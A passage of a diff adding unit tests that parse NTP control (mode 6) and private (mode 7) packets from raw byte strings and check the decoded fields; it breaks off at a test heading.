+assert(p.association_id == 0)
+assert(p.offset == 0)
+assert(p.count == 0)
+assert(p.data == b'')
+
+
+= NTP Control (mode 6) - CTL_OP_READSTAT (2) - response
+s = b'\x16\x81\x00\x0c\x06d\x00\x00\x00\x00\x00\x04\xe5\xfc\xf6$'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 1)
+assert(p.sequence == 12)
+assert(isinstance(p.status_word, NTPSystemStatusPacket))
+assert(p.status_word.leap_indicator == 0)
+assert(p.status_word.clock_source == 6)
+assert(p.status_word.system_event_counter == 6)
+assert(p.status_word.system_event_code == 4)
+assert(p.association_id == 0)
+assert(p.offset == 0)
+assert(p.count == 4)
+assert(isinstance(p.data, NTPPeerStatusDataPacket))
+assert(p.data.association_id == 58876)
+assert(isinstance(p.data.peer_status, NTPPeerStatusPacket))
+assert(p.data.peer_status.configured == 1)
+assert(p.data.peer_status.auth_enabled == 1)
+assert(p.data.peer_status.authentic == 1)
+assert(p.data.peer_status.reachability == 1)
+assert(p.data.peer_status.reserved == 0)
+assert(p.data.peer_status.peer_sel == 6)
+assert(p.data.peer_status.peer_event_counter == 2)
+assert(p.data.peer_status.peer_event_code == 4)
+
+
+= NTP Control (mode 6) - CTL_OP_READVAR (1) - request
+s = b'\x16\x02\x00\x12\x00\x00\xfc\x8f\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.op_code == 2)
+assert(p.sequence == 18)
+assert(p.status == 0)
+assert(p.association_id == 64655)
+assert(p.data == b'')
+
+
+= NTP Control (mode 6) - CTL_OP_READVAR (2) - reponse (1st packet)
+s = b'\xd6\xa2\x00\x12\xc0\x11\xfc\x8f\x00\x00\x01\xd4srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 '
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.more == 1)
+assert(p.op_code == 2)
+assert(p.sequence == 18)
+assert(isinstance(p.status_word, NTPPeerStatusPacket))
+assert(p.status_word.configured == 1)
+assert(p.status_word.auth_enabled == 1)
+assert(p.status_word.authentic == 0)
+assert(p.status_word.reachability == 0)
+assert(p.status_word.peer_sel == 0)
+assert(p.status_word.peer_event_counter == 1)
+assert(p.status_word.peer_event_code == 1)
+assert(p.association_id == 64655)
+assert(p.offset == 0)
+assert(p.count == 468)
+assert(p.data.load == b'srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ')
+ 
+
+= NTP Control (mode 6) - CTL_OP_READVAR (3) - reponse (2nd packet)
+s = b'\xd6\x82\x00\x12\xc0\x11\xfc\x8f\x01\xd4\x00i0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 2)
+assert(p.sequence == 18)
+assert(isinstance(p.status_word, NTPPeerStatusPacket))
+assert(p.association_id == 64655)
+assert(p.offset == 468)
+assert(p.count == 105)
+assert(p.data.load == b'0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n\x00\x00\x00')
+
+
+= NTP Control (mode 6) - CTL_OP_READVAR (4) - request
+s = b'\x16\x02\x00\x13\x00\x00s\xb5\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01=\xc2;\xc7\xed\xb9US9\xd6\x89\x08\xc8\xaf\xa6\x12'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 2)
+assert(len(p.data.load) == 12)
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'3dc23bc7edb9555339d68908c8afa612')
+
+
+= NTP Control (mode 6) - CTL_OP_READVAR (5) - response
+s = b'\xd6\xc2\x00\x13\x05\x00s\xb5\x00\x00\x00\x00\x00\x00\x00\x01\x97(\x02I\xdb\xa0s8\xedr(`\xdbJX\n'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 1)
+assert(p.more == 0)
+assert(p.op_code == 2)
+assert(len(p.data.load) == 0)
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'97280249dba07338ed722860db4a580a')
+
+
+= NTP Control (mode 6) - CTL_OP_WRITEVAR (1) - request
+s = b'\x16\x03\x00\x11\x00\x00\x00\x00\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01\xaf\xf1\x0c\xb4\xc9\x94m\xfcM\x90\tJ\xa1p\x94J'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 3)
+assert(len(p.data.load) == 12)
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'aff10cb4c9946dfc4d90094aa170944a')
+
+
+= NTP Control (mode 6) - CTL_OP_WRITEVAR (2) - response
+s = b'\xd6\xc3\x00\x11\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80z\x80\xfb\xaf\xc4pg\x98S\xa8\xe5xe\x81\x1c'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 1)
+assert(p.more == 0)
+assert(p.op_code == 3)
+assert(hasattr(p, 'status_word'))
+assert(isinstance(p.status_word, NTPErrorStatusPacket))
+assert(p.status_word.error_code == 5)
+assert(len(p.data.load) == 0)
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'807a80fbafc470679853a8e57865811c')
+
+
+= NTP Control (mode 6) - CTL_OP_CONFIGURE (1) - request
+s = b'\x16\x08\x00\x16\x00\x00\x00\x00\x00\x00\x00\x0ccontrolkey 1\x00\x00\x00\x01\xea\xa7\xac\xa8\x1bj\x9c\xdbX\xe1S\r6\xfb\xef\xa4'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 8)
+assert(p.count == 12)
+assert(p.data.load == b'controlkey 1')
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'eaa7aca81b6a9cdb58e1530d36fbefa4')
+
+
+= NTP Control (mode 6) - CTL_OP_CONFIGURE (2) - response
+s = b'\xd6\x88\x00\x16\x00\x00\x00\x00\x00\x00\x00\x12Config Succeeded\r\n\x00\x00\x00\x00\x00\x01\xbf\xa6\xd8_\xf9m\x1e2l)<\xac\xee\xc2\xa59'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 8)
+assert(p.count == 18)
+assert(p.data.load == b'Config Succeeded\r\n\x00\x00')
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'bfa6d85ff96d1e326c293caceec2a539')
+
+
+= NTP Control (mode 6) - CTL_OP_SAVECONFIG (1) - request
+s = b'\x16\t\x00\x1d\x00\x00\x00\x00\x00\x00\x00\x0fntp.test.2.conf\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc9\xfb\x8a\xbe<`_\xfa6\xd2\x18\xc3\xb7d\x89#'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 9)
+assert(p.count == 15)
+assert(p.data.load == b'ntp.test.2.conf\x00')
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'c9fb8abe3c605ffa36d218c3b7648923')
+
+
+= NTP Control (mode 6) - CTL_OP_SAVECONFIG (2) - response
+s = b"\xd6\x89\x00\x1d\x00\x00\x00\x00\x00\x00\x00*Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00\x00\x00\x00\x012\xc2\xbaY\xc53\xfe(\xf5P\xe5\xa0\x86\x02\x95\xd9"
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 9)
+assert(p.count == 42)
+assert(p.data.load == b"Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00")
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'32c2ba59c533fe28f550e5a0860295d9')
+
+
+= NTP Control (mode 6) - CTL_OP_REQ_NONCE (1) - request
+s = b'\x16\x0c\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 12)
+assert(p.data == b'')
+assert(p.authenticator == b'')
+
+
+= NTP Control (mode 6) - CTL_OP_REQ_NONCE (2) - response
+s = b'\xd6\x8c\x00\x07\x00\x00\x00\x00\x00\x00\x00 nonce=db4186a2e1d9022472e24bc9\r\n'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 12)
+assert(p.data.load == b'nonce=db4186a2e1d9022472e24bc9\r\n')
+assert(p.authenticator == b'')
+
+
+= NTP Control (mode 6) - CTL_OP_READ_MRU (1) - request
+s = b'\x16\n\x00\x08\x00\x00\x00\x00\x00\x00\x00(nonce=db4186a2e1d9022472e24bc9, frags=32'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.op_code == 10)
+assert(p.count == 40)
+assert(p.data.load == b'nonce=db4186a2e1d9022472e24bc9, frags=32')
+assert(p.authenticator == b'')
+
+= NTP Control (mode 6) - CTL_OP_READ_MRU (2) - response
+s = b'\xd6\x8a\x00\x08\x00\x00\x00\x00\x00\x00\x00\xe9nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 1)
+assert(p.err == 0)
+assert(p.op_code == 10)
+assert(p.count == 233)
+assert(p.data.load == b'nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00')
+assert(p.authenticator == b'')
+
+
+############
+############
++ NTP Private (mode 7) tests
+
+= NTP Private (mode 7) - error - Dissection
+s = b'\x97\x00\x03\x1d@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 29)
+assert(p.err == 4)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_PEER_LIST (1) - request
+s = b'\x17\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 0)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_PEER_LIST (2) - response
+s = b'\x97\x00\x03\x00\x00\x01\x00 \x7f\x7f\x01\x00\x00{\x03\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 0)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 32)
+assert(type(p.data[0]) == NTPInfoPeerList)
+assert(p.data[0].addr) == "127.127.1.0"
+assert(p.data[0].port) == 123
+
+
+= NTP Private (mode 7) - REQ_PEER_INFO (1) - request
+s = b'\x17\x00\x03\x02\x00\x01\x00 \xc0\xa8zf\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 2)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 32)
+assert(isinstance(p.req_data[0], NTPInfoPeerList))
+assert(p.req_data[0].addr == "192.168.122.102")
+assert(p.req_data[0].port == 123)
+
+
+= NTP Private (mode 7) - REQ_PEER_INFO (2) - response
+s = b'\x97\x00\x03\x02\x00\x01\x01\x18\xc0\xa8zf\xc0\xa8ze\x00{\x01\x03\x01\x00\x10\x06\n\xea\x04\x00\x00\xaf"\x00"\x16\x04\xb3\x01\x00\x00\x00\x00\x00\x00\x00INIT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x9d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb<\x8d\xc5\xde\x7fB\x89\xdb<\x8d\xc5\xde\x7fB\x89\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 2)
+assert(isinstance(p.data[0], NTPInfoPeer))
+assert(p.data[0].dstaddr == "192.168.122.102")
+assert(p.data[0].srcaddr == "192.168.122.101")
+assert(p.data[0].srcport == 123)
+assert(p.data[0].associd == 1203)
+assert(p.data[0].keyid == 1)
+
+
+= NTP Private (mode 7) - REQ_PEER_LIST_SUM (1) - request
+s = b'\x17\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 1)
+
+
+= NTP Private (mode 7) - REQ_PEER_LIST_SUM (2) - response (1st packet)
+s = b'\xd7\x00\x03\x01\x00\x06\x00H\n\x00\x02\x0f\xc0\x00\x02\x01\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\x00\x02\x02\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x01\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x02\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\n\x00\x02\x0f\xc0\xa8d\r\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zf\x00{\x0b\x06\x07\xf4\x83\x01\x00\x00\x07\x89\x00\x00\x00\x007\xb1\x00h\x00\x00o?\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 1)
+assert(isinstance(x, NTPInfoPeerSummary) for x in p.data)
+assert(p.data[0].srcaddr == "192.0.2.1")
+
+
+= NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (2nd packet)
+s = b'\xd7\x01\x03\x01\x00\x06\x00H\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x11\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zh\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zi\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc0\xa8ze\xc0\xa8zj\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zk\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 1)
+assert(isinstance(x, NTPInfoPeerSummary) for x in p.data)
+assert(p.data[0].srcaddr == "192.168.122.103")
+
+
+= NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (3rd packet)
+s = b'\x97\x02\x03\x01\x00\x02\x00H\xc0\xa8ze\xc0\xa8zl\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zm\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 1)
+assert(isinstance(x, NTPInfoPeerSummary) for x in p.data)
+assert(p.data[0].srcaddr == "192.168.122.108")
+
+
+= NTP Private (mode 7) - REQ_PEER_STATS (1) - request
+s = b'\x17\x00\x03\x03\x00\x01\x00 \xc0\xa8ze\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 3)
+assert(isinstance(p.req_data[0], NTPInfoPeerList))
+
+
+= NTP Private (mode 7) - REQ_PEER_STATS (2) - response
